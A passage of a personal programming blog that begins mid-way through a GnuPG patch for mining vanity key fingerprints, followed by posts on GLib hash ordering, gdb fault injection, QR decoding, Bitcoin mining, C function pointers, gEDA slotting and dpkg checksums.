+ dp[12], dp[13], dp[14], dp[15], dp[16], dp[17], dp[18], dp[19]);
+ } else {
+ keyid[0] = 0;
+ }
+
+ for (i = 0; vanity_patterns[i]; i++) {
+ if (check_regexp(vanity_patterns[i], keyid, 0)) {
+ return vanity_patterns[i];
+ }
+ }
+ if (!vanity_patterns[i]) {
+ return NULL;
+ }
+ }
+
+ return NULL;
+}
static void
do_generate_keypair (struct para_data_s *para,
@@ -3363,6 +3450,7 @@ do_generate_keypair (struct para_data_s *para,
int rc;
int did_sub = 0;
u32 timestamp;
+ char keyid[17];
if( outctrl->dryrun )
{
@@ -3453,13 +3541,15 @@ do_generate_keypair (struct para_data_s *para,
linked list. The first packet is a dummy packet which we flag as
deleted. The very first packet must always be a KEY packet. */
- start_tree (&pub_root);
- start_tree (&sec_root);
-
timestamp = get_parameter_u32 (para, pKEYCREATIONDATE);
if (!timestamp)
timestamp = make_timestamp ();
+ check_vanity(NULL, keyid);
+
+ start_tree (&pub_root);
+ start_tree (&sec_root);
+
/* Note that, depending on the backend (i.e. the used scdaemon
version), the card key generation may update TIMESTAMP for each
key. Thus we need to pass TIMESTAMP to all signing function to
@@ -3492,6 +3582,17 @@ do_generate_keypair (struct para_data_s *para,
}
}
+ /* Check key for vanity value. */
+ if (!rc && getenv("GNUPG_MINE")) {
+ char const *matching_pattern = check_vanity(pub_root, keyid);
+ if (matching_pattern) {
+ log_debug("Found key %s with %s, delta = %d\n",
+ keyid, matching_pattern, delta);
+ } else {
+ exit(0);
+ }
+ }
+
if(!rc && (revkey=get_parameter_revkey(para,pREVOKER)))
{
rc = write_direct_sig (pub_root, pub_root, pri_sk, revkey, timestamp);
@@ -3637,7 +3751,7 @@ do_generate_keypair (struct para_data_s *para,
keydb_release (pub_hd);
keydb_release (sec_hd);
- if (!rc)
+ if (!rc && !getenv("GNUPG_MINE"))
{
int no_enc_rsa;
PKT_public_key *pk;
diff --git a/g10/trustdb.c b/g10/trustdb.c
index dedb18c..f8c2dda 100644
--- a/g10/trustdb.c
+++ b/g10/trustdb.c
@@ -1852,8 +1852,8 @@ sanitize_regexp(const char *old)
/* Used by validate_one_keyblock to confirm a regexp within a trust
signature. Returns 1 for match, and 0 for no match or regex
error. */
-static int
-check_regexp(const char *expr,const char *string)
+int
+check_regexp(const char *expr,const char *string, int sanitize)
{
#ifdef DISABLE_REGEX
/* When DISABLE_REGEX is defined, assume all regexps do not
@@ -1863,19 +1863,59 @@ check_regexp(const char *expr,const char *string)
int ret;
char *regexp;
- regexp=sanitize_regexp(expr);
+ regexp=sanitize?sanitize_regexp(expr):xstrdup(expr);
#ifdef __riscos__
ret=riscos_check_regexp(expr, string, DBG_TRUST);
#else
{
+ static struct {
+ char *pattern;
+ regex_t pat;
+ } pat_cache[100];
+ static int initialized = 0;
regex_t pat;
+ int i, i_empty;
+
+ if (!initialized) {
+ for (i = 0; i < 100; i++) {
+ pat_cache[i].pattern = 0;
+ }
+ initialized = 1;
+ }
+
+ for (i = 0, i_empty = -1; i < 100; i++) {
+ if (i_empty < 0 && !pat_cache[i].pattern) {
+ i_empty = i;
+ }
+ if (strcmp(pat_cache[i].pattern, regexp) == 0) {
+ break;
+ }
+ }
- ret=regcomp(&pat,regexp,REG_ICASE|REG_NOSUB|REG_EXTENDED);
+ if (i < 100) {
+ memcpy(&pat, &pat_cache[i].pat, sizeof (pat));
+ ret = 0;
+ } else {
+ ret=regcomp(&pat,regexp,REG_ICASE|REG_NOSUB|REG_EXTENDED);
+ }
if(ret==0)
{
+ if (i_empty < 0) {
+ for (; i < 100; i++) {
+ if (!pat_cache[i].pattern) {
+ i_empty = i;
+ }
+ }
+ }
+ if (i_empty >= 0) {
+ pat_cache[i_empty].pattern = xstrdup(regexp);
+ memcpy(&pat_cache[i_empty].pat, &pat, sizeof (pat));
+ }
ret=regexec(&pat,string,0,NULL,0);
- regfree(&pat);
+ if (i_empty < 0) {
+ regfree(&pat);
+ }
ret=(ret==0);
}
}
@@ -1970,7 +2010,7 @@ validate_one_keyblock (KBNODE kb, struct key_item *klist,
|| opt.trust_model != TM_PGP
|| (uidnode
&& check_regexp(kr->trust_regexp,
- uidnode->pkt->pkt.user_id->name))))
+ uidnode->pkt->pkt.user_id->name, 1))))
{
/* Are we part of a trust sig chain? We always favor
the latest trust sig, rather than the greater or
</blockquote>
This bit uses the fudge value set earlier in each variant process. (I'm lucky here in that GnuPG's keyring seems to be concurrency-safe - although the loop does wait for each child process to finish, appending its key to the keyring, before continuing to fork more child processes.) The fudge value is a delta that modifies the apparent timestamp of the key, adjusting it by up to $LIBGCRYPT_MINE seconds into the past. The timestamp affects the key fingerprint, so this is an easy way to diversify the single pair of primes that gets reused usefully up to thousands of times. (Beyond that, super-linear scaling in GnuPG's keyring access imposes the law of diminishing returns, and it's better to just generate a new pair of primes and write the resulting keys into a fresh keyring.)<br />
<br />
The result is a stream of fast, identical keys (with just a differing timestamp), which I then filter with a few regular expressions (compiling them just once, in the parent process, and caching the compiled form for re-use in the child processes). to get a slightly slower stream of candidate keys whose fingerprint is, in some way, memorable and/or meaningful.<br />
<br />
I chose one (FAC02779DEC0DED1) fairly arbitrarily - there were several others that took me a long while to reject. I don't need them anymore, so if anyone wants them, I'll sell them for 5mBTC per unique key. You really shouldn't take up this offer though, since these keys would come to you pre-compromised: I have access to the private keys. You'd have to just take my word for it that I'll delete each keyring that I can sell. It's really just for fun, a novelty that you could use for unimportant things. A few cool ones from a total of more than a million:<br />
<blockquote class="program-output">
8F0230444444444C
A8111111111C2A72
AB4F37D43CA5CADE
5F2833DEAD52BEEF
BB3418DC0FFEEBAD
AAA3B57C1CADA555
E30E7A290B314159
9CBC000011112CE1
1251D7C715EAF00D
</blockquote>Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-89641358791554268622014-10-18T07:42:00.001+02:002014-10-18T07:43:22.309+02:00Indeterminate hash table traversalOn and off for a few weeks I've been trying to figure out why the <code>gnetlist</code> testsuite has been failing. I could've sworn that I regenerated the golden output two years ago and <a href="http://repo.or.cz/w/geda-gaf/berndj.git/commitdiff/263f9f179cb1c0ff7cbc2814c505522c033cf827">painstakingly checked that the differences were only in the order of output</a> with the help of <a href="http://www.bpj-code.co.za/downloads.php/reorder-diff?text">a special-purpose script</a>.<br />
<br />
I hadn't run the testsuite in a while, so it's likely that this was the first time I've run it since I got a new hard disk and started using a newer OS. (I'm using debian jessie now.) When I looked at the differences between the golden outputs and the currently produced outputs, it seemed clear that the differences were only in the order of output, and not due to the output being incorrect. At least, not more incorrect than the golden output.<br />
<br />
<h4>
Think things through, don't draw hasty conclusions</h4>
<br />
<br />
I pretty quickly focused on the possibility that GLib's hash table implementation had changed between Ubuntu 10.10's version and jessie's. But at first I was convinced that there was no material change in the hash table implementation: all the hash <i>table</i> stuff was still doing the same thing, albeit <a href="http://codeblog.andersforsgren.com/cache-friendly-code.html">in a more cache-friendly way</a>. I even copied GLib's ghash.c from version 2.26.1 (the one that Ubuntu 10.10 used), renamed a few functions and used those instead of the jessie-native GLib's functions, but still the output stayed in the different order.<br />
<br />
Still, I was convinced that there must have been a change in hash table traversal order. What else could be reordering the output? I've barely worked on gEDA since getting my new hard disk, and in any case I also ran the testsuite of the very commit that last touched the golden outputs: still reordered output.<br />
<br />
<h4>
The simplicity (and reliability) of blunt tools</h4>
<br />
<br />
My next step was to use a blunt tool: duplicating more exactly the Ubuntu 10.10 environment. I downloaded the relevant debs and unpacked them in a staging directory, and built gEDA against those versions of GLib and a few others. (That required editing the pkg-config package metadata files to point at locations within the staging directory, then setting <code>$PKG_CONFIG_PATH</code> and also using some <code>LDFLAGS=...</code> and <code>$LD_LIBRARY_PATH</code> trickery.)<br />
<br />
Finally! Linking to the Ubuntu 10.10 version of GLib reproduced the golden output. That meant that the change in output was a result of the change in computing environment, not some subtle bug I've introduced with my patches. Now I can confidently make some more order-changing patches (to decouple program output order from hash table implementation). Going from a known-good to a presumed-good state is a lot less scary than going from unknown-if-good to presumed-no-worse. I'll probably still check the regenerated golden output with my order-aware diff-checking script, just to be sure that I don't add bugs.<br />
<br />
<h4>
Mystery solved</h4>
<br />
<br />
With the gEDA source code validated (it now passes the testsuite, given the right libraries), I still want to satisfy my curiosity: why did the output order change, when it seemed like the GLib hash table implementation hadn't changed? Because, well, it had, and I had only overlooked <a href="https://git.gnome.org/browse/glib/commit/?id=354d655ba8a54b754cb5a3efb42767327775696c">what had changed: the hashing function itself, <code>g_str_hash</code></a>, that transforms a string to a hash value.<br />
<br />
What I failed to realize during my first diff-hunt was that GLib 2.26.1's <code>g_str_hash</code> lived in a different file than the rest of the hash table implementation, so I simply didn't see the old version (and never noticed it was missing) while looking at changes to <code>glib/ghash.c</code>.<br />
<br />
Don't depend on the order of hash table traversal!Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-1033713717626515582014-06-24T01:40:00.005+02:002014-06-24T01:40:51.071+02:00Words from football matchesSo I'm football-illiterate; I thought that FIFA's 3-letter abbreviation for Nigeria was NIG, but it's actually NGA. (NIG is Niger.) So we won't be seeing the delightfully offensive NIG - GER scoreboard during this World Cup.<br />
<br />
We can still search for other words. Grepping for the Cartesian product of all participating countries in <code>/usr/share/dict/words</code> yields a few matches, although none are complete words, let alone offensive ones:<br />
<ul>
<li>apalaCHICOLa</li>
<li>hITACHI</li>
<li>siNGAPORe</li>
<li>BELCHIng</li>
<li>ganGRENED</li>
<li>GREENGrocer</li>
<li>maCHINED</li>
<li>miCROCHIp</li>
</ul>
Chile features a lot! Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com1tag:blogger.com,1999:blog-6286608955389951707.post-40711561000335930132014-04-30T20:12:00.001+02:002014-04-30T20:12:23.421+02:00Getting my old Thunderbird profile into IcedoveDo we have to play these branding games with directory names - especially hidden-by-convention ones?<br />
<br />
I just wasted half an hour or so trying to coax Icedove into seeing the account that I used with Thunderbird just a month or two ago. So it could just magically see it, or even just permit me to import the old folder into a new one. Whatever, I just wanted my mail!<br />
<br />
Making software easy to use for non-geeks is a laudable goal, but I don't think you reach that goal by disappearing so many control elements that the configuration dialogs appear empty. It reminds me of something one of our computer science lecturers said once, long ago: "Emacs is an operating system masquerading as an editor; Vi is an editor masquerading as nothing." "Nothing" is not a good user interface. It has no affordances, and so while it might not be an intimidating interface, it is undiscoverable (yay, start clicking random elements whose appearance suggest little about their function).<br />
<br />
After some helpless flailing around and a quick look through some unhelpful forum threads (I swear, they're becoming less and less useful with every passing year as each generation of cargo cult users passes down its placebo magic spells to the next) I got some help on Freenode, in #debian:<br />
<blockquote class="program-output">
<mtn> berndj-blackout: rename the folder to .icedove ;)
</blockquote>
TL;DR at this point: doing exactly that solved my problem.<br />
<br />
Unfortunately I had already started icedove before I got to IRC. So when I blindly did<br />
<blockquote class="program-output">
$ mv ~/.thunderbird ~/.icedove
</blockquote>
hoping it would simply rename the directory, it actually moved ~/.thunderbird <i>into</i> ~/.icedove, since by then the latter directory already existed, so mv(1) interprets the command as a request to put the source into the destination as a <i>sub</i>directory:<br />
<blockquote class="program-output">
stat("/tmp/a", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/tmp/b", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/tmp/a/b", 0x7fff31da12e0) = -1 ENOENT (No such file or directory)
rename("/tmp/b", "/tmp/a/b") = 0
</blockquote>
(Can you spot the race condition? You can't use mv(1) as a synchronization primitive.)<br />
<br />
It took me a while to realize what had happened. This was the clue:<br />
<blockquote class="program-output">
$ du -sh ~/.icedove/2qeibe1d.default/
16M /home/berndj/.icedove/2qeibe1d.default/
$ du -sh ~/.icedove/
5.7G /home/berndj/.icedove/
</blockquote>
Where are those 5.7GB?Hiding in ~/.icedove/.thunderbird of course!Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-63607215665999155502014-03-05T04:15:00.000+02:002014-03-05T04:15:33.643+02:00Simulating filesystem errors with gdbA prospective client needs to get a bunch of files from in-field gadgets onto the Internet. s3fs / s3fuse seem to be a convenient way to get the files onto Amazon's S3. The application demands that the in-field gadget keep retrying until it knows that a file has finally reached the mothership; to do this, I am to write a program that does the copying, that is adequately paranoid about possible failure modes.<br />
<br />
One easily-overlooked failure mode is that close(2) can fail. Earlier write(2) operations can appear to succeed, because they may simply be writing the data to local buffers, not yet checking if the data has reached the other side of the network.<br />
<br />
My initial assumption was that moving the files across the network using a shell script would fail to take care of all the weird corner cases, such as error-on-close. Why speculate though, when we have gdb?<br />
<blockquote class="program-output">
$ gdb /bin/cp
GNU gdb (GDB) 7.2-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /bin/cp...(no debugging symbols found)...done.
(gdb) break close
Breakpoint 1 at 0x402930
(gdb) run /tmp/a /tmp/c
Starting program: /bin/cp /tmp/a /tmp/c
Breakpoint 1, close () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
(gdb) cont
Continuing.
...
Breakpoint 1, close () at ../sysdeps/unix/syscall-template.S:82
82 in ../sysdeps/unix/syscall-template.S
(gdb) p errno
$1 = 0
(gdb) set errno = 5
(gdb) p errno
$2 = 5
(gdb) return -1
Return value type not available for selected stack frame.
Please use an explicit cast of the value to return.
(gdb) return (int) -1
Make selected stack frame return now? (y or n) y
#0 0x0000000000406697 in ?? ()
(gdb) cont
Continuing.
/bin/cp: closing `/tmp/a': Input/output error
Program exited with code 01.
</blockquote>
<br />
Bingo! It does work (err, it does fail?) I still have some homework to do: is it necessary to use fsync(2) before closing the file, in order to <em>really</em> make sure that all pending errors get reported? That's one thing that cp(1) doesn't do, according to strace(1).Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-60815646069767090452013-12-27T12:46:00.002+02:002013-12-27T12:46:13.029+02:00Reading QR codesI wanted to get some testnet bitcoin onto my Android phone (running <a href="https://play.google.com/store/apps/details?id=de.schildbach.wallet">Andreas Schildbach's wallet app</a>) but struggled to get coin from TP's faucet onto the phone without laboriously typing the address into the faucet's input box. (Ironically, I spent more time trying to avoid typing it in manually than it would have taken to just do that.)<br />
<br />
My first strategy was to use <code>libdecodeqr-examples</code>'s <code>libdecodeqr-webcam</code> utility. It pretended to work, showing a view of what my laptop's camera sees, and then drawing a green box framing the QR code that it recognized. But despite my attempts to help it see better by placing a converging lens in front of the camera (or the attempt to use another <a href="http://www.youtube.com/watch?v=uh9EsSS6XEA">camera which hates being in focus</a>), <code>libdecodeqr-webcam</code> just wasn't displaying the correct bitcoin URI. Sometimes the tool would show a string, and some of it would even look right, but invariably there'd be some corruption.<br />
<br />
So I just left it for a few days. I thought the channel between the phone's display and the laptop's webcam output was just too noisy to reliably scan a QR code. Not really what I expected from QR codes (they use an error-correcting code) but hey, who am I to argue with the decoding tool?<br />
<br />
It turns out that the tool just isn't up to the task. Even running <code>libdecodeqr-simpletest</code> on a locally-generated image fails, and outputs only a line of control characters. Back to searching, where I found <a href="http://askubuntu.com/a/82871">an answer on askubuntu</a> referring to <code>zbar-tools</code>. I had previously overlooked it because the short description made no mention of QR codes, only barcodes.<br />
<br />
With <code>zbar-tools</code> installed, I ran <code>zbarcam</code> and it was able to read the QR code from the phone's display immediately - even without the extra lens. Problem solved!Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-55018217409228530392013-11-16T13:13:00.004+02:002013-11-16T13:13:59.307+02:00Could we have had Bitcoin 20 years ago?I remarked the other day on <a href="irc://irc.freenode.net/bitcoin">#bitcoin</a> that on a technical level there isn't really anything new about the parts which constitute Bitcoin. I think people misunderstood me a little, and thought I had made a straw man version of what I was trying to express. Maybe they read, "Bitcoin is totally lame and not new at all and Satoshi Nakamoto is just a Johnny-come-lately!" That was definitely not my intent.<br />
<br />
What's truly new about Bitcoin is the synthesis of several technologies into a coherent whole. It reminds me of an episode of <cite>The Outer Limits</cite>, "<a href="http://en.wikipedia.org/wiki/Final_Exam_(The_Outer_Limits)">Final Exam</a>". The story alludes to how, sometimes, the world is just not ready for an idea, despite the availability of all the parts needed to make it happen. And then when it is time, suddenly the idea spontaneously realizes in multiple places independently. Perhaps 2009 was ripe for Bitcoin, while 1992 wasn't.<br />
<br />
<a href="http://www.wisdom.weizmann.ac.il/~naor/PAPERS/pvp.ps">In 1992 we knew about hash-based proof-of-work systems</a>. We'd considered using them to make email spam uneconomic. In the <a href="http://en.wikipedia.org/wiki/Byzantine_generals_problem#Early_solutions">1980s we had some ideas about how to achieve Byzantine fault tolerance</a>. <a href="http://en.wikipedia.org/wiki/Public-key_cryptography#History">We knew of ways to do public-key cryptography well before then</a>, with hints appearing as early as 1974. Elliptic curve cryptography was perhaps still a bit "too new" until fairly recently, but having short keys is a practical matter, and 512-bit RSA keys don't seem like they would've made a cryptocurrency <em>impossible</em> in 1992.<br />
<br />
Someone on #bitcoin remarked that peer-to-peer networks are quite new, and in any case their application to payment systems. That's true, but I don't consider that truly central to making Bitcoin Bitcoin. Also, the Internet itself was a peer-to-peer system when it started (now maybe less so, being more heavily concentrated in big subnetworks). We also had Usenet, with news servers exchanging posts using a peer-to-peer protocol.<br />
<br />
So yes, I'm still convinced that we could have had Bitcoin up to maybe 20 years ago, if Satoshi Nakamoto had happened to apply his/her/their mind to the problem of creating a decentralized cryptocurrency. The constituent technologies were available, if maybe a bit primitive, even awkward and inconvenient. But back then we were probably still happier with fiat currencies. We hadn't yet lost confidence in the concept as a whole, even if some local currencies did suffer a dramatic loss of confidence. We didn't have "too big to fail" yet, and we didn't have the US trying to print itself out of economic stagnation in the de-facto world currency, the US dollar.Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com1tag:blogger.com,1999:blog-6286608955389951707.post-84622675886083042742013-10-21T06:26:00.000+02:002013-10-21T06:28:43.585+02:00Bitcoin mining in hexdumps"Mining" is about the one Bitcoin term that I don't find confusing or misleading in some way. It involves sorting through piles of rock (the nonce domain) to find specks of gold (nonces that cause the block hash to satisfy a very strict condition).<br />
<br />
The <a href="https://en.bitcoin.it/wiki/Protocol_specification#Block_Headers">Bitcoin block header format</a> consists of just a few fields. One of these, the nonce, is the one intended as the primary degree of freedom when searching for solutions to the riddle, "which block will be the next in the chain?" Here's an example, <a href="http://blockexplorer.com/block/00000000000000001e8d6829a8a21adc5d38d0a473b144b6765798e61f98bd1d">block 125552's</a> block header, shown as a hexdump:
<blockquote class="program-output">
01000000
81cd02ab7e569e8bcd9317e2fe99f2de44d49ab2b8851ba4a308000000000000
e320b6c2fffc8d750423db8b1eb942ae710e951ed797f7affc8892b0f1fc122b
C7F5D74D
F2B9441A
42A14695
</blockquote>
The nonce is the last field in the header. With this value (42A14695) the block header hashes to 1dbd981fe6985776b644b173a4d0385ddc1aa2a829688d1e0000000000000000 - which satisfied the network difficulty condition for this block to become block 125552. Any other value leaves you with a bunch of non-zero bits at the end of the SHA256 output. (Things are a little confusing with how Bitcoin does endianness - the test is notionally for hash < difficulty, so all those pretty zeroes occupy the msb position.)<br />
<br />
Astute readers may point out that 32 degrees of one-bit freedom aren't enough to find a block header whose hash is constrained to 130+ leading zero bits. That's correct, and indeed there are more degrees of freedom available - they just aren't quite as easy to vary as the nonce field. There's the extraNonce field in coinbase transactions (the ones that bring new coin into circulation), which has an essentially unlimited number of degrees of freedom, and affects the block hash by changing the Merkle root. There's some freedom also in choosing the timestamp of the block (C7F5D74D in this example), but there's not all that much wiggle room due to how far out of sync the timestamp may be with network consensus time.<br />
<br />
References:<br />
<br />
<ul>
<li><a href="http://pastebin.com/Dh0wyuxz">I originally wrote this explanation for someone in #zacon</a></li>
<li><a href="https://en.bitcoin.it/wiki/Block_hashing_algorithm">The block hashing algorithm</a></li>
</ul>
Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-80583327133445498932013-04-24T16:23:00.001+02:002013-04-25T15:21:09.353+02:00Function pointer type compatibilityI've been wondering <a href="http://stackoverflow.com/questions/16190105/is-it-safe-to-call-a-c-function-with-more-arguments-than-it-expects">how function pointers get passed around inside the GObject framework</a>. Some example code seems to play fast and loose with function pointer types, relying on the fact that C's Undefined Behaviour can also include doing what one hopes.
After some source-diving I finally found how GLib calls the callback. It does it through a function pointer of this type in one example:
<br />
<blockquote class="source-code">
typedef void (*GMarshalFunc_VOID__UINT_POINTER) (gpointer instance,
guint arg_0,
gpointer arg_1,
gpointer data);
</blockquote>
That's for a signal handler whose signature is <code>void ()(gpointer instance, guint x, gpointer userdata)</code>.
Because <code>GtkCellRendererText *</code> and <code>void *</code> are not compatible types, it's actually wrong (it invokes undefined behaviour) to simply copy the signal handler signatures from the <a href="https://developer.gnome.org/gtk2/2.24/GtkCellRendererText.html#GtkCellRendererText-edited">GTK+ documentation</a>!
For this example, the correct function declaration would have to be:
<br />
<blockquote class="source-code">
void user_function(gpointer renderer,
gpointer path,
gpointer new_text,
gpointer user_data);
</blockquote>
I'm not sure if I want to be that pure. Too much boilerplate type conversion code. Maybe the reasonable compromise is to continue using pointers to specific types, but to make sure that at least the <em>number</em> of arguments matches what the marshaller functions demand. I think it's far more likely that a C implementation will be sensitive to a mismatched number of arguments (consider how <code>cdecl</code> vs <code>pascal</code> calling convention specifiers in some compilers determine a function's activation record) than that <code>void *</code> will have a different representation than <code>GtkCellRendererText *</code>.Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-17418777368944022922013-02-13T04:17:00.000+02:002013-02-13T04:17:00.337+02:00Re-redesign the gEDA slotting mechanismThe slotting mechanism that is the primary subject of <a href="http://repo.or.cz/w/geda-gaf/berndj.git">my gEDA fork</a> seems to work, and solves the opamp problem, presumably also the transistor problem, and supports heterogeneous slots, unlike the more inflexible [1] <a href="http://wiki.geda-project.org/geda:gschem_ug:slots">stock gEDA mechanism</a>.<br />
<br />
But the design of the mechanism is broken: it doesn't play nicely with hierarchical designs, especially not ones that re-use schematics as distinct copies of a functional block. John Doty pointed this use case out to me; he's probably one of the heavier users of gEDA's hierarchical nature.<br />
<br />
Essentially, the attributes my slotting mechanism currently uses, point the wrong way. It is the symbols that point to the slots they inhabit, thereby pointing "up" in the hierarchy of schematics, which is a graph (hopefully an acyclic one) and not a tree. Because the hierarchy is a graph, a schematic may have multiple parents - schematics that contain a symbol with a <code>source=</code> attribute pointing to it. While it would be possible to store multiple upwards-pointing attributes in a sub-schematic, doing so would damage the utility of that page as a reusable element when it accumulated slotting-related attributes from <em>all</em> the projects which used it as a sub-schematic.<br />
<br />
So the slotting attributes can't point "up". Can they point "down" instead? It would be better, but perhaps still too inflexible: schematics with sub-schematics can themselves be sub-schematics. gEDA's hierarchy of schematics isn't limited in depth [2]. Only a toplevel schematic for a particular assembly [3] should sensibly assign slots in concrete parts to the symbols below that need them, since only it has no super-schematic, therefore it cannot appear in a project in multiple instances.<br />
<br />
Then if slots need to point "down" to the symbols occupying them, we'll need not just a pointer to the symbol object, but a path through the hierarchy by which to reach it. Without the path, it would be impossible to disambiguate references to the same symbol used in a sub-schematic to multiple parents. Something like this should do:<br />
<br />
<blockquote class="source-code">
slotsymbol=opamp3:48aa3670-55de-4dad-9587-f54e9f196837/c2490daf-a9e8-4ec8-9941-62845fc9bb29
</blockquote>
<br />
Interpretation: <code>48aa3670-55de-4dad-9587-f54e9f196837</code> is the UUID of a hierarchical symbol (a "COMPLEX" in libgeda jargon). Perhaps, a block symbol for a bandpass filter.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg64AmkQznDl82bxUdYQQ7IyXswdRbAL1sQ4CjCcEKn39AynuQYuWRezxzNSMPeTbOpdPUpLxLqUpUSLavKsIKZap9w5v6ZuE7Kw12UDHcpqrkoktXRwFHRd22jOrR02aqeKRMBBo6Anhz9/s1600/if-filter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg64AmkQznDl82bxUdYQQ7IyXswdRbAL1sQ4CjCcEKn39AynuQYuWRezxzNSMPeTbOpdPUpLxLqUpUSLavKsIKZap9w5v6ZuE7Kw12UDHcpqrkoktXRwFHRd22jOrR02aqeKRMBBo6Anhz9/s320/if-filter.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
Then, one of its <code>source=</code> attributes will point to a sub-schematic which will have another symbol on it (perhaps a generic opamp triangle symbol) whose UUID is <code>c2490daf-a9e8-4ec8-9941-62845fc9bb29</code>. That particular opamp function is assigned to the slot "opamp3".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9fx_5XJL5DxANf90_qh-KDQejzO8dkU6iFULBtA0EeXTBvNOZi42glyqNc8qjC3Wt2FCpb-JAfuHfQZUJ0TJFDclT0JmBZDruLXBM4GW9BAuSPhLv7i0b-CtpJegr9VZNJxriHfLztZIm/s1600/bandpass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9fx_5XJL5DxANf90_qh-KDQejzO8dkU6iFULBtA0EeXTBvNOZi42glyqNc8qjC3Wt2FCpb-JAfuHfQZUJ0TJFDclT0JmBZDruLXBM4GW9BAuSPhLv7i0b-CtpJegr9VZNJxriHfLztZIm/s320/bandpass.png" width="320" /></a></div>
<br />
Having these paths encoded in the slotting associations will allow gschem to show different pin numbers on the same symbol, depending on which instance of a sub-schematic one is looking at. gschem cannot do this yet, of course; I will have to code this extra behaviour.<br />
<br />
I should reverse the associations now, before anyone really starts using my fork for its slotting mechanism. Patches welcome - it's a big job.<br />
<br />
[1] Stock gEDA doesn't understand heterogeneous slots, conflates the symbol for a function (a NAND gate, for example) with the symbol for a part (correspondingly, a 74LS00 in this example), relies on the user to manually track slot assignments, and relies on fragile hacks to produce the correct netlist (setting identical <code>refdes=</code> attributes - or, worse, using lowercase suffixes to trigger special-case treatment in PCB). You end up with multiple symbols with a split identity between function and part, that can easily take on incompatible attributes. Imagine two NAND gates intended to be gates in the same chip, but each carries a mutually incompatible <code>footprint=</code> attribute. Let's not even think of the different pin numbering schemes of the various package styles - stock gEDA would demand that you edit the <code>slotdef=</code> attributes. How baroque!<br />
<br />
[2] The hierarchy of schematics needs to be acyclic though; I can't see any good coming from a cycle of schematics. There is a similar issue in the component library: the gEDA file format allows <em>any</em> object to appear as part of the graphical representation of a symbol, including other symbols, and specifically including itself. Semantically invalid, but syntactically okay. A hare and tortoise algorithm would be able to detect cycles, and one day I'll get around to adding such a check.<br />
<br />
[3] We could have a design consisting of a backplane and a set of identical daughterboards; each of these daughterboards would have identically-numbered parts, and this wouldn't be a problem, because the daughterboard is an entire sub-project. The important bit here is that only the topmost schematic of a particular assembly, subproject, whatever you want to call a distinct domain of refdes values, should carry the slot assignments for all the abstract symbols and slots below it.Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-82630203721351561612013-01-29T13:18:00.000+02:002013-01-29T13:18:33.895+02:00dpkg MD5 checksumsMy OpenOffice installation stopped working a few days ago after I Changed Nothing (tm) [1], so one of my avenues in investigating the breakage was to check for any unexplained changes to installed files. That happened to me once before [2], back when I worked at Prism, so "obviously" I felt I should check out that possibility again:<br />
<br />
<tt>$ md5sum -c --quiet /var/lib/dpkg/info/*.md5sums</tt><br />
<br />
After much disk grinding (sometimes I'm sure I'm about to see a puff of hard disk powder come out of the fan exhaust), what seems to be a smoking gun:<br />
<br />
<tt>usr/bin/gnuplot: FAILED</tt><br />
md5sum: WARNING: 1 of 45 computed checksums did NOT match<br />
<br />
This is interesting! So I download the deb for gnuplot-x11 and unpack it manually (with binutils' <code>ar</code>), and find the same "wrong" checksum. A friend repeated the procedure and found the same "wrong" checksum, so I'm no longer suspecting a fancy worm/virus that infects new gnuplot binaries as they appear on the filesystem.<br />
<br />
It turns out that these mismatching packages have preinst scripts that "divert" files, invalidating the naive checksum. The diverted files are still around, but their names no longer match what's in the lists of MD5 checksums.<br />
<br />
And that's where laziness bites me in the behind: I knew by the time I started on my wild goose chase that debsums(1) checked checksums, but since I didn't have it installed and felt too lazy to install it, decided to just run the checksum files through md5sum(1). And after all that effort to get an explanation for these mismatched checksums, I installed debsums(1) anyway and discovered that it knows how to follow diversions!<br />
<br />
Now, I'm back to still wanting to know why OpenOffice stopped working.<br />
<br />
[1] I upgraded google-chrome, but that update involved only its own package. ooffice seemed to stop working after I tried to open some document that caused it to crash, but I no longer recall the exact sequence of events.<br />
<br />
